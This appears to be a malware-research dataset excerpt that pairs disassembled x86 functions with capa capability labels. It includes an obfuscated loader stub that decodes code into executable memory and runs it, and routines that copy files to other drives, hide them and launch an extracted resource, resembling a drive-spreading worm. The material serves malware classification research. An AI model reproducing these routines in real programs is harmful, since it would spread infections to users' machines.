joyce8/EMBER2024-capa huggingface dataset:
Function at 0x32024f2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x32024f3d
pop dword [ebp - 0x4c]
mov eax, 0x32024f3d
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xff1ad56c
sub dword [ebp - 0x5c], 0xb0c89021
mov dword [ebp - 0x58], 0x6a775f4b
add dword [ebp - 0x58], 0xc7bbecfa
mov dword [ebp - 0x54], 0xd23d1797
sub dword [ebp - 0x54], 0x85f0d369
mov dword [ebp - 0x50], 0x3813b97e
add dword [ebp - 0x50], 0xc7ec4682
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x78d5e0
sub eax, 0xce73a55c
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x7e408960
add dword [ebp - 0x5c], 0xf631dff6
mov dword [ebp - 0x58], 0x95aadc51
add dword [ebp - 0x58], 0xabc18524
mov dword [ebp - 0x54], 0x649c9526
add dword [ebp - 0x54], 0xfed2d746
mov dword [ebp - 0x50], 0xacc5c80b
sub dword [ebp - 0x50], 0xacc5c80b
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x1ef6b4b5
add eax, 0x130e7bc7
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x49119
push 0
call eax
mov ecx, 0x4edd
mov ebx, eax
mov edi, 0x3207a200
add edi, dword [ebp - 0x4c]
mov edx, 0xc85d05d7
sub edx, 0xcaa68267
xor dword [ebp - 0x3c], 0xfde48e5e
mov esi, dword [edi]
sub esi, edx
sub dword [ebp - 0x28], eax
mov dword [ebx], esi
mov dword [ebp - 0x44], 0xe192c3fb
add ebx, 4
add edi, 4
loop 0x3202504e
add eax, 0x6a80ac4c
add eax, 0x958081fb
xor ebx, ebx
add ebx, eax
add eax, 0x4ef927a6
add eax, 0xb106d85f
mov ecx, 0x94b14ce1
sub ecx, 0x62b14ce1
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401060
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push 0x12
push 0x408030
call fcn.00401170
push 9
push 0x408044
call fcn.00401170
push 4
push 0x408050
call fcn.00401170
push 4
push 0x408058
call fcn.00401170
push 4
push 0x408060
call fcn.00401170
push 0x1d
push 0x408068
call fcn.00401170
add esp, 0x30
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
push ecx
call fcn.00401000
add esp, 4
test eax, eax
je 0x4010db
call fcn.004014a0
jmp 0x4010e0
call fcn.004015f0
push 0
push 5
push 0x408990
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x4010fe
add esp, 0x104
ret 0x10
push esi
push edi
mov edi, 0x408068
or ecx, 0xffffffff
xor eax, eax
push 0x408990
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x408990
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004011a0
push 0x408044
call fcn.004017a0
push 0x408050
call fcn.004017a0
push 0x408044
call fcn.00401bf0
add esp, 0x10
xor eax, eax
pop edi
pop esi
add esp, 0x104
ret 0x10

Function at 0x401170
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
test esi, esi
jle 0x401192
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
sub dl, al
xor dl, 0xcd
sub dl, 7
mov byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x40117f
pop esi
ret

Function at 0x4011a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp]
push esi
push edi
mov edi, dword [esp + 0x110]
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call fcn.004021f0
add esp, 8
test eax, eax
je 0x401213
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
inc eax
push 0x5c
push eax
call fcn.004021f0
mov esi, eax
add esp, 8
test esi, esi
je 0x4011fe
mov byte [esi], 0
lea edx, [esp + 8]
push 0
push edx
call edi
test esi, esi
je 0x401213
mov byte [esi], 0x5c
lea eax, [esi + 1]
jmp 0x4011ea
pop edi
pop esi
add esp, 0x104
ret
Function at 0x401220
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x548
push ebp
push esi
mov esi, dword [esp + 0x558]
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [esp + 0x558]
lea eax, [esp + 0x354]
push edi
push str._s.
push eax
call fcn.004022ac
add esp, 0xc
lea ecx, [esp + 0xc]
lea edx, [esp + 0x354]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x40127c
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x548
ret
cmp byte [esp + 0x38], 0x2e
je 0x4012f0
lea eax, [esp + 0x38]
lea ecx, [esp + 0x14c]
push eax
push edi
push 0x40808c
push ecx
call fcn.004022ac
lea edx, [esp + 0x48]
lea eax, [esp + 0x260]
push edx
push esi
push 0x40808c
push eax
call fcn.004022ac
mov al, byte [esp + 0x2c]
add esp, 0x20
test al, 0x10
je 0x4012d8
lea ecx, [esp + 0x250]
lea edx, [esp + 0x14c]
push ecx
push edx
call fcn.00401220
add esp, 8
jmp 0x4012f0
lea eax, [esp + 0x250]
push 0
lea ecx, [esp + 0x150]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0xc]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40127c
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x548
ret

Function at 0x401320
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4013da
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x4013da
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4013da
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebp
mov esi, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1c]
push 0
push 0
mov ecx, edx
push 2
push 0
and ecx, 3
push 0
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
pop edi
cmp esi, 0xffffffff
je 0x4013d3
lea ecx, [esp + 0x14]
push 0
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop ebp
mov eax, 1
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4013e0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x208
lea eax, [esp + 8]
mov dword [esp + 4], 0
push eax
push 0x200
mov byte [esp + 0xb], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
jne 0x401410
xor al, al
add esp, 0x208
ret
mov al, byte [esp + 8]
test al, al
je 0x40148f
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push esi
push edi
lea esi, [esp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
movsx ecx, byte [esi]
push ecx
inc edi
call fcn.004022fe
add esp, 4
mov bl, al
push esi
call ebp
cmp bl, 0x43
jl 0x401475
mov ecx, dword [esp + 0x21c]
cmp bl, byte [ecx]
je 0x401475
cmp eax, 2
je 0x401460
cmp eax, 3
jne 0x401462
mov byte [ecx], bl
push 0
push ecx
call fcn.00406ac6
add esp, 8
test eax, eax
jne 0x401475
mov byte [esp + 0x13], bl
mov eax, dword [esp + 0x14]
add eax, edi
mov dword [esp + 0x14], eax
lea esi, [esp + eax + 0x18]
mov al, byte [esp + eax + 0x18]
test al, al
jne 0x401426
pop edi
pop esi
pop ebp
pop ebx
mov al, byte [esp + 3]
add esp, 0x208
ret

Function at 0x4014a0
Capabilities:
Create directory
Get file attributes
Set file attributes

Disassembly:
sub esp, 0x304
lea eax, [esp]
push esi
push edi
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x2e
push ecx
call fcn.004023d0
add esp, 8
test eax, eax
je 0x4015db
mov byte [eax], 0
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x20c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call fcn.00406ac6
add esp, 8
test eax, eax
jne 0x401525
lea edx, [esp + 8]
push edx
call fcn.004016c0
add esp, 4
pop edi
pop esi
add esp, 0x304
ret
lea eax, [esp + 8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or al, 6
lea edx, [esp + 8]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 8]
push eax
call fcn.004016c0
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0xf], al
lea ecx, [esp + 0x10]
push ecx
call fcn.004023d0
add esp, 0xc
test eax, eax
je 0x4015db
mov dl, byte [esp + 8]
lea edi, [eax - 2]
push edi
mov byte [edi], dl
mov byte [edi + 1], 0x3a
call fcn.004013e0
mov dl, al
add esp, 4
test dl, dl
je 0x4015db
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
lea ebx, [esp + 0x10c]
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x10c], dl
lea ecx, [esp + 0x210]
lea edx, [esp + 0x10c]
push ecx
push edx
call fcn.00401220
add esp, 8
pop ebx
pop edi
pop esi
add esp, 0x304
ret
Function at 0x4015f0
Capabilities:
Create process on windows
Get file attributes
Set file attributes

Disassembly:
sub esp, 0x100
lea eax, [esp]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
push 0x2e
push ecx
call fcn.004023d0
add esp, 8
test eax, eax
je 0x4016ad
lea edx, [esp]
push 0x2e
push edx
mov byte [eax], 0
call fcn.004023d0
add esp, 8
test eax, eax
je 0x4016ad
lea eax, [esp]
push 0
push eax
call fcn.00406ac6
add esp, 8
test eax, eax
jne 0x401664
push 1
push eax
lea ecx, [esp + 8]
push eax
push ecx
push 0x408060
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0x100
ret
lea edx, [esp]
push edx
push 0x40809c
push 0x67
call fcn.00401320
add esp, 0xc
test eax, eax
je 0x4016ad
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or al, 6
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
push 0
lea edx, [esp + 8]
push 0
push edx
push 0x408060
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0x100
ret

Function at 0x4016c0
Capabilities:
Check os version
Create process on windows

Disassembly:
sub esp, 0x294
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x29c]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
jl 0x401789
cmp byte [ecx + ebx - 1], 0x5c
je 0x401717
mov edi, 0x4080c4
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xc], 5
jne 0x401775
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401775
push ebx
lea ecx, [esp + 0xa0]
push str.cmd__c_explorer___s_
push ecx
call fcn.004022ac
add esp, 0xc
lea edx, [esp + 0x9c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop ebx
add esp, 0x294
ret
push 1
push 0
push 0
push ebx
push str.explore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop ebx
add esp, 0x294
ret
Function at 0x401f80
Capabilities:
Create process on windows
Set current directory

Disassembly:
sub esp, 0x254
push ebp
mov ebp, dword [esp + 0x25c]
push edi
push 0x408108
push ebp
call fcn.00402430
add esp, 8
test eax, eax
jne 0x402017
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
lea edx, [esp + 0x60]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x22
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x64]
push ecx
call fcn.004021f0
add esp, 8
test eax, eax
pop esi
je 0x402017
inc eax
push 0x22
push eax
call fcn.004021f0
add esp, 8
test eax, eax
je 0x402017
lea edx, [esp + 0x5c]
push 0x5c
push edx
mov byte [eax], 0
call fcn.004023d0
add esp, 8
test eax, eax
je 0x402017
cmp byte [eax - 1], 0x3a
jne 0x402009
mov byte [eax + 1], 0
jmp 0x40200c
mov byte [eax], 0
lea eax, [esp + 0x5d]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov dword [esp + 0x44], 1
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push eax
mov word [esp + 0x70], ax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebp
add esp, 0x254
ret

Function at 0x4047b1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4083e8
cmp edx, dword [eax]
je 0x4047d3
add eax, 8
inc ecx
cmp eax, 0x408478
jl 0x4047c4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4083e8]
jne 0x404901
mov eax, dword [0x408aa0]
cmp eax, 1
je 0x4048db
test eax, eax
jne 0x404804
cmp dword [0x408114], 1
je 0x4048db
cmp edx, 0xfc
je 0x404901
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40483b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004061f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405a70
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40487e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405a70
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x407484
push edi
call fcn.00406370
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004061f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00406200
lea eax, [ebp - 0xa0]
push 0x407464
push eax
call fcn.00406200
push dword [esi + 0x4083ec]
lea eax, [ebp - 0xa0]
push eax
call fcn.00406200
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004062e0
add esp, 0x2c
pop edi
jmp 0x404901
lea eax, [ebp + 8]
lea esi, [esi + 0x4083ec]
push 0
push eax
push dword [esi]
call fcn.00405a70
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x406ac6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406ae6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040514d
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x406b07
test byte [esp + 8], 2
je 0x406b07
mov dword [0x408ad0], 0xd
mov dword [0x408ad4], 5
jmp 0x406ae2
xor eax, eax
ret
Function at 0x10013bf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ecx + 0xcc]
mov eax, dword [ecx + 0xd4]
push esi
push edi
lea esi, [ebp + 8]
mov edi, 4
mov eax, dword [eax + edx*4 - 4]
not eax
nop
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1017bf80]
sub edi, 1
jne 0x10013c10
mov ecx, dword [0x1029ec20]
not eax
pop edi
pop esi
cmp dword [ecx + 0x19ec], eax
jne 0x10013c42
mov dword [ecx + 0x19f0], eax
cmp dword [ecx + 0x1a20], eax
jne 0x10013c51
mov byte [ecx + 0x1a24], 1
pop ebp
ret 4

Function at 0x10013cc0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1029e280]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
movss xmm0, dword [edx]
mov edi, 0x10
subss xmm0, dword [esi + 0xc]
mov ecx, dword [esi + 0xcc]
cvttss2si eax, xmm0
movss xmm0, dword [edx + 4]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 0x14], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 8]
subss xmm0, dword [esi + 0xc]
mov dword [ebp - 0x10], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 0xc]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 0xc], eax
cvttss2si eax, xmm0
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xd4]
lea esi, [ebp - 0x14]
mov edx, dword [eax + ecx*4 - 4]
not edx
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x1017bf80]
sub edi, 1
jne 0x10013d34
mov eax, dword [0x1029ec20]
not edx
pop edi
pop esi
cmp dword [eax + 0x19ec], edx
jne 0x10013d65
mov dword [eax + 0x19f0], edx
cmp dword [eax + 0x1a20], edx
jne 0x10013d74
mov byte [eax + 0x1a24], 1
mov ecx, dword [ebp - 4]
mov eax, edx
xor ecx, ebp
call fcn.10116d02
mov esp, ebp
pop ebp
ret 4

Function at 0x10014560
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
not ebx
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
test edi, edi
je 0x100145c3
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x100145a6
cmp edi, 2
jb 0x100145a6
cmp byte [esi], cl
jne 0x100145a6
cmp byte [esi + 1], cl
jne 0x100145a6
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1017bf80]
jmp 0x10014577
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1017bf80]
test edi, edi
jne 0x10014577
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x100145f8
nop word [eax + eax]
cmp cl, 0x23
jne 0x100145df
cmp byte [esi], cl
jne 0x100145df
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x1017bf80]
test cl, cl
jne 0x100145d0
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x100153a0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
or eax, 0xffffffff
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], str.Window
mov esi, 0x1017c589
mov cl, 0x57
or edi, 0xffffffff
cmp cl, 0x23
jne 0x100153d2
cmp byte [esi], cl
jne 0x100153d2
cmp byte [esi + 1], cl
cmove eax, edi
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x1017bf80]
test cl, cl
jne 0x100153c3
mov esi, dword [ebp + 8]
not eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x1001eec0
mov dword [ebp - 0xc], 0x1001ee10
mov edi, dword [esi + 0x2d48]
mov ecx, dword [esi + 0x2d4c]
mov dword [ebp - 8], 0x1001eef0
cmp edi, ecx
jne 0x100154b9
inc edi
test ecx, ecx
je 0x1001542c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x10015431
mov eax, 8
cmp eax, edi
cmovg edi, eax
cmp edi, ecx
jle 0x100154b9
mov eax, dword [0x1029ec20]
test eax, eax
je 0x10015449
inc dword [eax + 0x374]
push ebx
push dword [0x1029ec40]
lea eax, [edi + edi*2]
shl eax, 3
push eax
call dword [0x101a7200]
mov ebx, eax
add esp, 8
mov eax, dword [esi + 0x2d50]
test eax, eax
je 0x100154ac
mov ecx, dword [esi + 0x2d48]
lea ecx, [ecx + ecx*2]
shl ecx, 3
push ecx
push eax
push ebx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esi + 0x2d50]
add esp, 0xc
test ecx, ecx
je 0x1001549c
mov eax, dword [0x1029ec20]
test eax, eax
je 0x1001549c
dec dword [eax + 0x374]
push dword [0x1029ec40]
push ecx
call dword [0x101a7204]
add esp, 8
mov dword [esi + 0x2d50], ebx
mov dword [esi + 0x2d4c], edi
pop ebx
mov eax, dword [esi + 0x2d48]
movups xmm0, xmmword [ebp - 0x18]
pop edi
lea ecx, [eax + eax*2]
mov eax, dword [esi + 0x2d50]
movups xmmword [eax + ecx*8], xmm0
movq xmm0, qword [ebp - 8]
movq qword [eax + ecx*8 + 0x10], xmm0
inc dword [esi + 0x2d48]
mov byte [esi], 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100162a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [0x1029ec20]
cmp byte [esi + 0x2d60], 0
je 0x1001633b
cmp dword [esi + 0x2d68], 0
push edi
lea edi, [esi + 0x2d6c]
je 0x1001632c
mov ecx, dword [edi + 4]
test ecx, ecx
jns 0x100162e6
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.1001f800
lea eax, [ebp + 0xc]
mov dword [edi], 0
push eax
push dword [ebp + 8]
mov ecx, edi
call fcn.1001f360
mov edx, dword [edi]
mov ecx, 0x1029ec24
push dword [esi + 0x2d68]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [esi + 0x2d74]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebp
ret
lea eax, [ebp + 0xc]
mov ecx, edi
push eax
push dword [ebp + 8]
call fcn.1001f360
pop edi
pop esi
pop ebp
ret
Function at 0x1001a610
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1029ec20]
lea edx, [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [eax + 0x19b0]
mov esi, 4
mov ebx, dword [eax + 0xd4]
lea edi, [eax + 0xcc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [edi]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x1017bf80]
sub esi, 1
jne 0x1001a647
mov eax, dword [ebp - 4]
not ebx
mov esi, dword [edi]
mov ecx, dword [eax + 0xd0]
cmp esi, ecx
jne 0x1001a697
inc esi
test ecx, ecx
je 0x1001a682
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x1001a687
mov eax, 8
cmp eax, esi
mov ecx, edi
cmovg esi, eax
push esi
call fcn.1001f900
mov eax, dword [ebp - 4]
mov ecx, dword [edi]
mov eax, dword [eax + 0xd4]
mov dword [eax + ecx*4], ebx
inc dword [edi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001c930
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
mov eax, dword [0x1029ec20]
mov dword [eax + 0x2d38], 0
je 0x1001ca25
push esi
mov esi, dword [0x1029ec20]
push edi
lea edi, [esi + 0x2d3c]
mov dword [esi + 0x2d38], 0
mov ecx, dword [edi + 4]
test ecx, ecx
jns 0x1001c984
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.1001f800
mov dword [edi], 0
cmp dword [edi + 4], 0
jne 0x1001c999
push 8
mov ecx, edi
call fcn.1001f800
mov eax, dword [edi]
mov ecx, dword [edi + 8]
push ebx
mov dword [ebp - 4], 0
mov byte [ecx + eax], 0
inc dword [edi]
cmp dword [esi + 0x2d48], 0
jle 0x1001c9dc
xor ebx, ebx
mov eax, dword [esi + 0x2d50]
add eax, ebx
push edi
push eax
push esi
mov eax, dword [eax + 0x10]
call eax
mov eax, dword [ebp - 4]
add esp, 0xc
inc eax
add ebx, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x2d48]
jl 0x1001c9b7
mov edi, dword [edi]
mov ebx, 0x1029ec24
push 0x1017c670
push dword [ebp + 8]
lea eax, [edi - 1]
neg edi
sbb edi, edi
and edi, eax
mov eax, dword [esi + 0x2d44]
test eax, eax
cmovne ebx, eax
call fcn.100143b0
mov esi, eax
add esp, 8
test esi, esi
je 0x1001ca22
push esi
push edi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret